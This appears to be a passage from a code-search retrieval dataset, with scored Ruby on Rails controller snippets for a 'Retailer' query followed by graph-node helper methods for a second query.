"text": "def index\n @retailers = Retailer.all\n end",
"title": ""
},
{
"docid": "a7be8eb757b3e37650b110b2b115c2c9",
"score": "0.7258274",
"text": "def index\n respond_with(@collection) do |format|\n format.html # index.html.erb\n format.json { render json: @retailers }\n end\n end",
"title": ""
},
{
"docid": "2058c88559b747291cbecc146942abfa",
"score": "0.72117597",
"text": "def show\n @retailer = Retailer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @retailer }\n end\n end",
"title": ""
},
{
"docid": "2058c88559b747291cbecc146942abfa",
"score": "0.72117597",
"text": "def show\n @retailer = Retailer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @retailer }\n end\n end",
"title": ""
},
{
"docid": "5b69eee5bd33733cd0c22f0c4440a01c",
"score": "0.6614635",
"text": "def new\n @retailer = Retailer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @retailer }\n end\n end",
"title": ""
},
{
"docid": "d4bc7fa1bbd94f594c13b92dc66a02f6",
"score": "0.6582977",
"text": "def new\n @retailer = Retailer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @retailer}\n end\n end",
"title": ""
},
{
"docid": "6ae6826405c68342353f38766735e6be",
"score": "0.6570467",
"text": "def index\n @admin_retailers = Admin::Retailer.all\n end",
"title": ""
},
{
"docid": "f4df4208d519367bcfd4754fb30573d7",
"score": "0.6522934",
"text": "def index\n @retailer_profiles = RetailerProfile.all\n end",
"title": ""
},
{
"docid": "106728240fb3126d901218c11da3c541",
"score": "0.6490461",
"text": "def new\n # @retailer = Retailer.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @retailer }\n end\n end",
"title": ""
},
{
"docid": "b44cf68bf6c6ee3c57df4277793610e7",
"score": "0.6404152",
"text": "def index\n @prayers = Prayer.where(\"user_id = ?\", getUser())\n\n @prayer_requests = PrayerRequest.all \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @prayers }\n end\n end",
"title": ""
},
{
"docid": "5182e7b72752f61f610ad2ca422ba744",
"score": "0.636264",
"text": "def set_retailer\n @retailer = Retailer.find(params[:id])\n end",
"title": ""
},
{
"docid": "97c10c720ce1e228437bbc04ab9d6eec",
"score": "0.6180691",
"text": "def show\n @mailer = Mailer.find(params[:id])\n\n render json: @mailer\n end",
"title": ""
},
{
"docid": "256f1600af58f2ac0e2c7207427378f8",
"score": "0.61119664",
"text": "def index\n @recruiters = Recruiter.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @recruiters }\n end\n end",
"title": ""
},
{
"docid": "cd6358c6e9fb8133770ea6ed8eb12514",
"score": "0.60273314",
"text": "def index\n @prayers = Prayer.all\n render json: @prayers, status: 200 # you've got a serializer. Maybe you should use it.\n end",
"title": ""
},
{
"docid": "7fbfac19c4c735b7dd265df358a1161d",
"score": "0.59855527",
"text": "def index\n @recruiters = Recruiter.all\n render_json_serializer(@recruiters)\n end",
"title": ""
},
{
"docid": "ccfa1be7f6e8f5e2ab288149e2c71516",
"score": "0.5954169",
"text": "def index\n @prayers = Prayer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @prayers }\n end\n end",
"title": ""
},
{
"docid": "160affebf053f1f1b7cfce25053a3eee",
"score": "0.59106314",
"text": "def show\n @prayers = Prayer.all\n @prayer = Prayer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @prayer }\n end\n end",
"title": ""
},
{
"docid": "9ffbbbf6c58001f509a932d594c2e067",
"score": "0.59012073",
"text": "def index\n @partners = Partner.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @partners }\n end\n end",
"title": ""
},
{
"docid": "ac19445c9f82a12c5bca87ac30af62cd",
"score": "0.58632636",
"text": "def index\n @waiters = @course.waiters.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @waiters }\n end\n end",
"title": ""
},
{
"docid": "a4f152be7b6326474998c8fd5e8d1de6",
"score": "0.5791053",
"text": "def payers(params = {})\n scope 'default'\n get('payers/', params)\n end",
"title": ""
},
{
"docid": "0b8697c5ff9515ef68cbccaf5bee7b59",
"score": "0.5784103",
"text": "def index\n @recipients = Recipient.all\n # render json: @recipients\n end",
"title": ""
},
{
"docid": "2af9a69b3383acf507aa6630a0352c77",
"score": "0.57498753",
"text": "def index\n users = @fun.get_reposts.limit(5).reposters\n users.map! do |user|\n user = user.info_to_json\n user[:user_path] = user_path user[:login]\n user\n end\n render json: users\n end",
"title": ""
},
{
"docid": "5263ca032da703a7cfe101bb99eed0d4",
"score": "0.5733883",
"text": "def show\n # @retailer_category = RetailerCategory.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @retailer_category }\n end\n end",
"title": ""
},
{
"docid": "a96cfbb8b546d49fdc6b5f1fd781c592",
"score": "0.5733631",
"text": "def teachers\n url = drop_url_version + \"/count/teacherAssociations/#{params['edorg_id']}/teachers\"\n begin\n entities = RestClient.get(url, get_header)\n entities = JSON.parse(entities)\n rescue => e\n logger.info(\"Could not get ed orgs for #{entities} because of #{e.message}\")\n end\n \n respond_to do |format|\n format.json { render json: entities }\n end\n end",
"title": ""
},
{
"docid": "337acde9a51936190e723b125706417e",
"score": "0.5719395",
"text": "def create\n @retailer = Retailer.new(params[:retailer])\n\n respond_to do |format|\n if @retailer.save\n format.html { redirect_to @retailer, notice: \"Retailer was successfully created.\" }\n format.json { render json: @retailer, status: :created, location: @retailer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @retailer.errors, status: :unprocessable_entry }\n end\n end\n end",
"title": ""
},
{
"docid": "c0ccfa0ed99ab98622ba816213d31100",
"score": "0.5701626",
"text": "def postal_beers\n render json: BreweryDb::ShowBeers.new('postal', params[:postal]).results\n end",
"title": ""
},
{
"docid": "4c9eb9731273cac922870cfbe13e0141",
"score": "0.56970745",
"text": "def index\n @testers = Tester.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @testers }\n end\n end",
"title": ""
},
{
"docid": "94e1911e556ef14b95f75118a1ce20f8",
"score": "0.56911474",
"text": "def index\n @submitters = Submitter.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @submitters }\n end\n end",
"title": ""
},
{
"docid": "d93831d56909cd38ca8d7f17a0ab3152",
"score": "0.5683661",
"text": "def show\n @retaileradmin = Retaileradmin.find(params[:id])\n end",
"title": ""
},
{
"docid": "652a45da3aa45ad7d9d7ec3dbb0567ab",
"score": "0.5681623",
"text": "def index\n @employers = Employer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @employers }\n end\n end",
"title": ""
},
{
"docid": "6878bed403d2116473364abfc907c84b",
"score": "0.5681497",
"text": "def create\n @retailer = Retailer.new(params[:retailer])\n\n respond_to do |format|\n if @retailer.save\n format.html { redirect_to @retailer, notice: 'Retailer was successfully created.' }\n format.json { render json: @retailer, status: :created, location: @retailer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @retailer.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b653051c1cdad0b9373a2c52b7faca4e",
"score": "0.56773996",
"text": "def destroy\n @retailer = Retailer.find(params[:id])\n @retailer.destroy\n\n respond_to do |format|\n format.html { redirect_to retailers_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "58e5e1fda9dca7c615c827a54cea1d54",
"score": "0.566562",
"text": "def show\n @recruiter = Recruiter.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @recruiter }\n end\n end",
"title": ""
},
{
"docid": "e42fb0d041b9f21e7adf27ac0ebfd3a8",
"score": "0.5665158",
"text": "def set_admin_retailer\n @admin_retailer = Admin::Retailer.find(params[:id])\n end",
"title": ""
},
{
"docid": "3c79b6b68c7a963cd39a4eab36326ae9",
"score": "0.5660694",
"text": "def buyers\n result = get_buyers(params, false)\n render json: result, status: 200\n end",
"title": ""
},
{
"docid": "ff68308844270e7c3a50d8264604a3b2",
"score": "0.5657032",
"text": "def index\n @mailings = Mailing.order(\"created_at DESC\").all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @mailings }\n end\n end",
"title": ""
},
{
"docid": "b5de6814123652438fd4db91cf07988b",
"score": "0.5639021",
"text": "def create\n @retailer = Retailer.new(retailer_params)\n\n respond_to do |format|\n if @retailer.save\n format.html { redirect_to @retailer, notice: 'Retailer was successfully created.' }\n format.json { render :show, status: :created, location: @retailer }\n else\n format.html { render :new }\n format.json { render json: @retailer.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "69132119ae7b62e33c203361dc6b05f0",
"score": "0.5632686",
"text": "def set_retailer_profile\n @retailer_profile = RetailerProfile.find(params[:id])\n end",
"title": ""
},
{
"docid": "1d692686979b83fa4cd1c74d004209a4",
"score": "0.5630866",
"text": "def index\n @githubers = Githuber.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @githubers }\n end\n end",
"title": ""
},
{
"docid": "16ff6395fb4f4e0697191f6905841b0a",
"score": "0.56279415",
"text": "def index\n\t #@racers = Racer.all\n\t if !request.accept || request.accept == \"*/*\"\n\t\t\trender plain: \"/api/racers/#{params[:racer_id]}/entries\"\n\t\telse\n\t\t\t#real implementation ...\n\t\tend\n\t end",
"title": ""
},
{
"docid": "ffcf631c1b460b07bf3886b67286d7b0",
"score": "0.5624594",
"text": "def index\n @recruiters = Recruiter.all.select { |r| r unless r.user.nil? }\n respond_with @recruiters\n end",
"title": ""
},
{
"docid": "e92def871595018b49b9cacd0ac4f044",
"score": "0.56197965",
"text": "def destroy\n @retailer = Retailer.find(params[:id])\n @retailer.destroy\n\n respond_to do |format|\n format.html { redirect_to retailers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6b0a0d6213d769f4e85a70fe8e60322c",
"score": "0.5616078",
"text": "def create\n # @retailer = Retailer.new(params[:retailer])\n respond_to do |format|\n if @retailer.save\n format.html { redirect_to @retailer, notice: 'Retailer was successfully created.' }\n format.json { render json: @retailer, status: :created, location: @retailer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @retailer.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9f75eb529f256672f4c92df43d74d72e",
"score": "0.5613965",
"text": "def index\n @telefones = Telefone.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @telefones }\n end\n end",
"title": ""
},
{
"docid": "81c7f64dc8e335cd1f4112ffe2c7326e",
"score": "0.5613323",
"text": "def destroy\n @retailer = Retailer.find(params[:id])\n @retailer.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_retailers_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "5a6d7777eab03eed25371a63444cd47b",
"score": "0.5610455",
"text": "def show\n @prayer = Prayer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @prayer }\n end\n end",
"title": ""
},
{
"docid": "8cd66b6b34f5855d79645613b5bb87ed",
"score": "0.55857867",
"text": "def getlrid(email)\n\n response = rest_get_call($LR_FIXTURES_URL + '/get-lrid-by-email/' + email)\n\n if (response.code != '200') then\n raise \"Error in finding email for: \" + email\n end\n\n return response.body\n\nend",
"title": ""
},
{
"docid": "260e2c1e7d80880962582b8aff2c2d75",
"score": "0.5584975",
"text": "def index\n @tailors = Tailor.all\n respond_to do |format|\n format.html\n format.json { render json: @tailors}\n end\n end",
"title": ""
},
{
"docid": "d96d4fe3e5002692c840430a177d1adb",
"score": "0.5571638",
"text": "def show\n @trainer = Trainer.find(params[:id])\n\n render json: @trainer.as_json(only: [:name], include: [:trainees])\n end",
"title": ""
},
{
"docid": "c20137135db041628b8f4715360642a5",
"score": "0.5571048",
"text": "def index\n @emails = @user.emails\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @emails }\n end\n end",
"title": ""
},
{
"docid": "c20137135db041628b8f4715360642a5",
"score": "0.5571048",
"text": "def index\n @emails = @user.emails\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @emails }\n end\n end",
"title": ""
},
{
"docid": "3ae7cc6e2cf63b40668968c875ebc9e0",
"score": "0.5570496",
"text": "def index\n @recipients = Recipient.order('email')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @recipients }\n end\n end",
"title": ""
},
{
"docid": "d246a1a337fd53e5c1db68d4f5b0dac3",
"score": "0.55687404",
"text": "def dogwalker_invited\n #@invitations = Invitation.invited_clients_email(params[:email]).select(:email)\n @invitations = Invitation.invitees(params[:email]).select(:email)\n logger.debug(\"@invitations.to_json = \" + @invitations.to_json)\n render json: {:invitations => @invitations }, :layout => false\n end",
"title": ""
},
{
"docid": "3d9d12f6265c978ea5bc2072ed2fdfe8",
"score": "0.5564686",
"text": "def index\n @receivers = Receiver.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @receivers }\n end\n end",
"title": ""
},
{
"docid": "f55d36d119dea697a57caa6b66db8dd8",
"score": "0.5554785",
"text": "def get_retailer_data\n if params[:retailer_id] && !params[:retailer_id].empty?\n session[:current_retailer_id] = params[:retailer_id]\n else\n session[:current_retailer_id] = nil\n end\n redirect_to \"/admin/orders\"\n end",
"title": ""
},
{
"docid": "6996e1fb4fe3fad231eedefdfe456f3e",
"score": "0.55405134",
"text": "def index\n if params[:printer_type].present?\n @printers = Printer.where(printer_type: params[:printer_type])\n else\n @printers = Printer.all\n end\n\n render json: @printers\n end",
"title": ""
},
{
"docid": "c04f23e1de2a97e66552c3387a01410a",
"score": "0.5535359",
"text": "def index\n head 404\n # @api_v1_followers = Api::V1::Follower.all\n\n # render json: @api_v1_followers\n end",
"title": ""
},
{
"docid": "310d1aced71e7353b5af83eaaf54895e",
"score": "0.5533723",
"text": "def index\n @requesters = Requester.all\n end",
"title": ""
},
{
"docid": "408a88e44119e72aaea84a2e71083711",
"score": "0.55322254",
"text": "def get_retailer_data\n \tif params[:retailer_id] && !params[:retailer_id].empty?\n \t\tsession[:current_retailer_id] = params[:retailer_id]\n \telse\n \t\tsession[:current_retailer_id] = nil\n \tend\n\n redirect_to \"/admin/orders\"\n end",
"title": ""
},
{
"docid": "bfb08a26534f61fda9fb7d6ef2755bca",
"score": "0.55239385",
"text": "def show\n @prayer_request = PrayerRequest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @prayer_request }\n end\n end",
"title": ""
},
{
"docid": "2afd3dd19778e08f38fa1917b691d1a7",
"score": "0.55220205",
"text": "def create\n @admin_retailer = Admin::Retailer.new(admin_retailer_params)\n\n respond_to do |format|\n if @admin_retailer.save\n format.html { redirect_to @admin_retailer, notice: 'Retailer was successfully created.' }\n format.json { render :show, status: :created, location: @admin_retailer }\n else\n format.html { render :new }\n format.json { render json: @admin_retailer.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7089aaecb5bef49d89312bf5e2502c76",
"score": "0.5515503",
"text": "def index\n\t\t@participants = Participant.all\n\n\t\trender json: @participants\n\tend",
"title": ""
},
{
"docid": "42c685cf1041b05d9705314d685f0f15",
"score": "0.5514625",
"text": "def index\n @emails = Email.all\n json_response(@emails)\n end",
"title": ""
},
{
"docid": "193b41b8db50a90ed1a3f57ae96190b7",
"score": "0.54948115",
"text": "def index\n @attendees = Attendees.all\n render json: @attendees\n end",
"title": ""
},
{
"docid": "c2cd922ab6a17b814e8a4b8190e89acc",
"score": "0.5493035",
"text": "def index\n @passengers = Passenger.all\n respond_to do |format|\n format.html\n format.json { render :json => @passengers}\n end\n end",
"title": ""
},
{
"docid": "8b768251723fd1dff6c753057c94142e",
"score": "0.549152",
"text": "def show\n @my_prayer_request = PrayerRequest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @my_prayer_request }\n end\n end",
"title": ""
},
{
"docid": "f557fd9d0f66769dd8bfe31716f8562d",
"score": "0.54731923",
"text": "def show\n @renter = Renter.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @renter }\n end\n end",
"title": ""
},
{
"docid": "94938c29c55d28f36b13e86783a13bad",
"score": "0.5469414",
"text": "def index\n @attendees = Attendee.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @attendees }\n end\n end",
"title": ""
},
{
"docid": "99de6168ae8f30681d63e25b0f9a320c",
"score": "0.5461271",
"text": "def index\n @retaileradmins = Retaileradmin.all\n respond_to do |format|\n format.js\n end\n end",
"title": ""
},
{
"docid": "583be5450b5d5f71ccb72e4c020bee87",
"score": "0.5456356",
"text": "def show\n @repairer = Repairer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @repairer }\n end\n end",
"title": ""
},
{
"docid": "066f3a6ccc8fc1aa252f89ac494ddea7",
"score": "0.5455104",
"text": "def show\n @porter = Porter.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @porter }\n end\n end",
"title": ""
},
{
"docid": "19423f4ba688711e05a41a61d8792e5f",
"score": "0.5450459",
"text": "def recent_users\n respond_with json_response(\n 'recent_users',\n User.all.order('created_at DESC').first(5)\n )\n end",
"title": ""
},
{
"docid": "8c726e5de77467eccdb64657b6dcef58",
"score": "0.5448556",
"text": "def getMerchants\n\tbegin\n\t\tresponse = RestClient.get('http://api.reimaginebanking.com/merchants?key=e0486a76005721ee6d86b140eaea2a40')\n\trescue\n\t\tputs \"error retrieving response...\"\n\tend\n\n\tmerchants = JSON.parse(response)\n\treturn merchants\nend",
"title": ""
},
{
"docid": "f333161727f687d2f23b81b7c0d4ab48",
"score": "0.5425434",
"text": "def show\n @retail_unit = RetailUnit.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @retail_unit }\n end\n end",
"title": ""
},
{
"docid": "a3570c3353ca1bcf1dc802128243dfab",
"score": "0.54244953",
"text": "def show\n @rater = Rater.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @rater }\n end\n end",
"title": ""
},
{
"docid": "0106f15c88308a92617e7d5f67436fe8",
"score": "0.5421599",
"text": "def show\n @trainer = Trainer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @trainer }\n end\n end",
"title": ""
},
{
"docid": "42883d2c30dfa796bcc635ca01bb9b02",
"score": "0.5420223",
"text": "def new\n @recruiter = Recruiter.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @recruiter }\n end\n end",
"title": ""
},
{
"docid": "0c5ca46f8dae6977ce1668d791eacfa2",
"score": "0.5400246",
"text": "def index\n @recruiters = Recruiter.all\n end",
"title": ""
},
{
"docid": "94744a9e670d63f7b97f4ca47f5c9721",
"score": "0.5389143",
"text": "def show\n @submitter = Submitter.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @submitter }\n end\n end",
"title": ""
},
{
"docid": "69b1482e7c89e16fc40e71d8589c9705",
"score": "0.5381297",
"text": "def to_response\n slice(:id, :username, :cash, :referrals).to_json\n end",
"title": ""
},
{
"docid": "9628cbd7217e4f94a674bfe1014d714d",
"score": "0.53681046",
"text": "def show\n render json: Agent.find(params[:id]).buyers\n end",
"title": ""
},
{
"docid": "b64c4a7da322fc26dea8d0ad09418c41",
"score": "0.53634137",
"text": "def index\n @trips = Trip.desc.all\n @latest_trip = @trips.first\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @trips }\n end\n end",
"title": ""
},
{
"docid": "34da50105c13fbcb60a0bdab7633b169",
"score": "0.53584075",
"text": "def index\n @volunteers = Volunteer.order(:name).all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @name }\n end\n end",
"title": ""
},
{
"docid": "584f5978bc7276a4c0d60803be777809",
"score": "0.5349347",
"text": "def index\n users = User.all\n # cheer_ups = CheerUp.all\n render json: users\n end",
"title": ""
},
{
"docid": "65d6d165066819c7d2f28c74dfcc51e8",
"score": "0.5348521",
"text": "def index\n @rents = Rent.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @rents }\n end\n end",
"title": ""
},
{
"docid": "8615014979dec28ed10a345643c4ab61",
"score": "0.534285",
"text": "def index\n if !params[:email].nil?\n reports = Report.where(user_email: params[:email]).order('created_at DESC')\n if reports\n render json: reports, include: :pet, status: :ok\n else\n render json: {message: 'There are no reports to show'}, status: :ok\n end\n else\n render json: {message: 'Please provide user email and try again'}, status: :bad_request\n end\n end",
"title": ""
},
{
"docid": "08d17810af0bea60ffb4332a96c7726c",
"score": "0.5338956",
"text": "def new\n @prayer = Prayer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @prayer }\n end\n\n end",
"title": ""
},
{
"docid": "aaef4b3f0b6a5cb1ad2e40691643f0d8",
"score": "0.5338417",
"text": "def index\n @guests = @wedding.guests.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @guests }\n end\n end",
"title": ""
},
{
"docid": "ffe5f5a181679270c4cbe5f5f818a0f4",
"score": "0.5330364",
"text": "def show\n @reviewer = Reviewer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @reviewer }\n end\n end",
"title": ""
},
{
"docid": "6584e76a6516fd2f778685ad943e009f",
"score": "0.5330033",
"text": "def new\n @prayer = Prayer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @prayer }\n end\n end",
"title": ""
},
{
"docid": "6584e76a6516fd2f778685ad943e009f",
"score": "0.53290176",
"text": "def new\n @prayer = Prayer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @prayer }\n end\n end",
"title": ""
},
{
"docid": "89bcc6b2fe615433a3cadc22a6b4f9a0",
"score": "0.53281343",
"text": "def index\n if current_user.has_role?([:admin,:superadmin])\n @retailer_categories = RetailerCategory.order('id').page(params[:page]) # .per(10) \"paginates_per 10\" is set in the model\n else\n @retailer_categories = []\n end\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @retailer_categories }\n end\n end",
"title": ""
},
{
"docid": "a7038061892400d1777dfcc1772bf796",
"score": "0.532117",
"text": "def show\n @retro = Retro.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @retro }\n end\n end",
"title": ""
},
{
"docid": "3830b81fe5a9779d4da12a30cda22c9d",
"score": "0.5316897",
"text": "def show\n @beer = BreweryDB.beer(params[:id]) \n render json: @beer\n end",
"title": ""
},
{
"docid": "10789f1472d581698ecfa1efa8118ef6",
"score": "0.531551",
"text": "def index\n\t\t# specifying json format in the URl\n\t uri = \"#{API_BASE_URL}/users.json\"\n\t # It will create new rest-client resource so that we can call different methods of it\n\t rest_resource = RestClient::Resource.new(uri, USERNAME, PASSWORD)\n\n\t # this next line will give you back all the details in json format, \n\t #but it will be wrapped as a string, so we will parse it in the next step.\n\t users = rest_resource.get \n\n\t # we will convert the return data into an array of hash. see json data parsing here\n\t @users = JSON.parse(users, :symbolize_names => true)\n\tend",
"title": ""
},
{
"docid": "c70a81625450f7776be21795b283bdb8",
"score": "0.53103423",
"text": "def index\n @parkers = Parker.all\n\t\trespond_with @parkers\n end",
"title": ""
},
{
"docid": "ddb5efb794f149bd2fbd5a4bf117e49a",
"score": "0.53103316",
"text": "def index\n @renters = Renter.page(params[:page]).per(10)\n end",
"title": ""
},
{
"docid": "e9d9bda7028c43555e64f22283e78f0d",
"score": "0.53092206",
"text": "def index\n @payees = @treasury.payees.all\n return if needs_deeply_concerned(@treasury)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @payees }\n end\n end",
"title": ""
}
] |
b2688f8eefe85d3c0296967a53f6c95c | Returns all Nodes defined in a Line | [
{
"docid": "7c6ca15e11129e0a9839e6715650723e",
"score": "0.6514825",
"text": "def collect_nodes(line)\n\t\tGpNode.add_nodes(line.split(\"#{line.split(' ')[1]}\")[1].strip.split(\",\"), @system)\n\t\treturn line.split(\"#{line.split(' ')[1]}\")[1].strip.split(\",\")\n\tend",
"title": ""
}
] | [
{
"docid": "b6d88fe311fdbe9d3dab91bc68ff9751",
"score": "0.64284086",
"text": "def nodes\n @nodes ||= each_node.to_a\n end",
"title": ""
},
{
"docid": "a0a38b8bd26540884cd790898baae7d2",
"score": "0.6315707",
"text": "def nodes\n []\n end",
"title": ""
},
{
"docid": "4e79986ed4bc232e7959e517d9fa60d0",
"score": "0.6250543",
"text": "def nodes; end",
"title": ""
},
{
"docid": "4e79986ed4bc232e7959e517d9fa60d0",
"score": "0.6250543",
"text": "def nodes; end",
"title": ""
},
{
"docid": "4e79986ed4bc232e7959e517d9fa60d0",
"score": "0.6250543",
"text": "def nodes; end",
"title": ""
},
{
"docid": "77be087f217a0cb0e589ae5644eca597",
"score": "0.62275434",
"text": "def nodes\n @nodes = [] if !instance_variable_defined?(:@nodes) or @nodes.nil?\n @nodes\n end",
"title": ""
},
{
"docid": "278d6b96ae416db8297396f32500667b",
"score": "0.6184047",
"text": "def nodes\n @pathway.graph.keys\n end",
"title": ""
},
{
"docid": "27de0642a67058ab9816aff7e193226f",
"score": "0.6154687",
"text": "def nodes\n NODE_LIST_REGEX.match(@text).to_s.scan(NODE_REGEX).map do |match|\n Node.new(match[1], match[2], match[3].to_i)\n end\n end",
"title": ""
},
{
"docid": "f771aa18ca7231f3bbbd0ac24069299b",
"score": "0.60875165",
"text": "def lines\n @lines ||= build_lines\n end",
"title": ""
},
{
"docid": "a1bba6196d8ae61aab6b0389b8dae132",
"score": "0.597268",
"text": "def lines\n points.each_cons(2).map {|a,b| Line.new a, b}\n end",
"title": ""
},
{
"docid": "a1bba6196d8ae61aab6b0389b8dae132",
"score": "0.597268",
"text": "def lines\n points.each_cons(2).map {|a,b| Line.new a, b}\n end",
"title": ""
},
{
"docid": "0eb269f37e96aa0d27de3269d3678917",
"score": "0.59513736",
"text": "def nodes\n vertices\n end",
"title": ""
},
{
"docid": "1a9b0bc555704156eab8c36569ee9f4f",
"score": "0.5936325",
"text": "def nodes\n nodes_by_id.values\n end",
"title": ""
},
{
"docid": "56b5f381423acc725fc399f54bc4bf26",
"score": "0.5916494",
"text": "def nodes\n return @nodes if (not @nodes.nil? and @nodes.size > 0)\n init_nodes\n @nodes\n end",
"title": ""
},
{
"docid": "e2a6111282fd6b9d8c9214c010be0b16",
"score": "0.5888018",
"text": "def nodes\n @nodes ||= {}\n end",
"title": ""
},
{
"docid": "e2a6111282fd6b9d8c9214c010be0b16",
"score": "0.5888018",
"text": "def nodes\n @nodes ||= {}\n end",
"title": ""
},
{
"docid": "dda63e24c0c1eed7b9a6e13e2a696ec5",
"score": "0.5881925",
"text": "def nodes\n unless @nodes\n events = state_machine.events.values\n @nodes = events.map{ |event| to_nodes(event) }.flatten\n end\n @nodes\n end",
"title": ""
},
{
"docid": "4b572d4b82fe3f345eb491d76f5672cc",
"score": "0.58781874",
"text": "def nodes\n @object.edge_nodes\n end",
"title": ""
},
{
"docid": "ababd29e05bbfdfcdd0ed86d9aa6b3c1",
"score": "0.58360755",
"text": "def nodes\n relation.respond_to?(:nodes) ? relation.nodes : []\n end",
"title": ""
},
{
"docid": "748c7d7f1899163e21c3021b8edb1f16",
"score": "0.58319706",
"text": "def index\n @lines = Line.where(user_id: current_user.id, diagram_id:@diagram.id, node_id:@node.id)\n end",
"title": ""
},
{
"docid": "ff344bb5a0c2be4f67153fe21d9ee7f8",
"score": "0.577297",
"text": "def load_node(line)\n name, klass, parent = line.split(field_sep)\n [klass.constantize.new(name, nil), parent]\n end",
"title": ""
},
{
"docid": "f2ae5e2903fe5f6183538cbe8f2b9dbb",
"score": "0.5771001",
"text": "def all_nodes\n nodes = []\n visit_nodes do |node|\n nodes.push node\n end\n nodes\n end",
"title": ""
},
{
"docid": "7853361ddda77686f7c05445498c0e56",
"score": "0.5744451",
"text": "def lines\n @lines ||= line_codes.map {|l| Line.get(l)}\n end",
"title": ""
},
{
"docid": "b73110ea0e889defff4b81c9f32aaa27",
"score": "0.56972724",
"text": "def nodes(nodeSet = Set.new)\n @topo.eachNode do |n|\n nodeSet << n\n end\n return nodeSet\n end",
"title": ""
},
{
"docid": "f557dbb46a9fc4ebf9f57021653b4516",
"score": "0.56643337",
"text": "def create_nodes\n @nodes = [*0...@table.flatten.length]\n end",
"title": ""
},
{
"docid": "323f4b12f313af9acf0070c8e7205bb4",
"score": "0.56286454",
"text": "def line(node = @current_node)\n\t\treturn is_valid(node) ? node.line : nil\n\tend",
"title": ""
},
{
"docid": "749363838f7debe884384da49dca3972",
"score": "0.5618517",
"text": "def get_nodes\n @known_nodes\n end",
"title": ""
},
{
"docid": "e47c435e6cd601fc547087ce604b2fde",
"score": "0.5612603",
"text": "def make_graph\r\n lines.each {|line, stations|\r\n stations.each_with_index {|x, index|\r\n unless stations.at(index+1).nil?\r\n graph.add_edge(find_node(x), find_node(stations.at(index+1)))\r\n end\r\n }\r\n }\r\n end",
"title": ""
},
{
"docid": "86f7943ce22ab971f60e72c7db94adc9",
"score": "0.5597274",
"text": "def nodes\n [@from, @to]\n end",
"title": ""
},
{
"docid": "9d5d2fc42e869d66837aeba80e80a234",
"score": "0.5582787",
"text": "def nodelist; end",
"title": ""
},
{
"docid": "9d5d2fc42e869d66837aeba80e80a234",
"score": "0.5582787",
"text": "def nodelist; end",
"title": ""
},
{
"docid": "c35150402ca0c52a031d9bc073f2cf96",
"score": "0.5573226",
"text": "def getLines\n\t\t@lines\n\tend",
"title": ""
},
{
"docid": "5a40593a209110e4a8d694e666048fdd",
"score": "0.55678064",
"text": "def nodes\n core_client.get_nodes\n end",
"title": ""
},
{
"docid": "b3bed0bc1eab31d9551c923edc2af89e",
"score": "0.5554696",
"text": "def lines\n self\n end",
"title": ""
},
{
